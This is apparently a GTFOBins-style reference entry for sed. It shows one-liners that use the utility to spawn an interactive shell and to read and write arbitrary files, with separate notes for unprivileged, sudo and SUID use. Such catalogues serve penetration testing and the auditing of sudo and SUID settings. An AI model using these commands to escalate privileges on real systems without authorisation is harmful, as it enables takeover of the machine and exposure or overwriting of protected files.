sed
Shell
This executable can spawn an interactive system shell.
- This function can be performed by any unprivileged user.
sed -n '1e exec /bin/sh 1>&0' /etc/hostsThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.sed -n '1e exec /bin/sh 1>&0' /etc/hostsThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.sed -n '1e exec /bin/sh 1>&0' /etc/hosts - This function can be performed by any unprivileged user.
sed eThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.sed eThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.sed e
File write
This executable can write data to local files.
- This function can be performed by any unprivileged user.
sed -n '1s/.*/DATA/w /path/to/output-file' /etc/hostsThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.sed -n '1s/.*/DATA/w /path/to/output-file' /etc/hostsThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.sed -n '1s/.*/DATA/w /path/to/output-file' /etc/hosts
File read
This executable can read data from local files.
- This function can be performed by any unprivileged user.
sed '' /path/to/input-fileThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.sed '' /path/to/input-fileThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.sed '' /path/to/input-file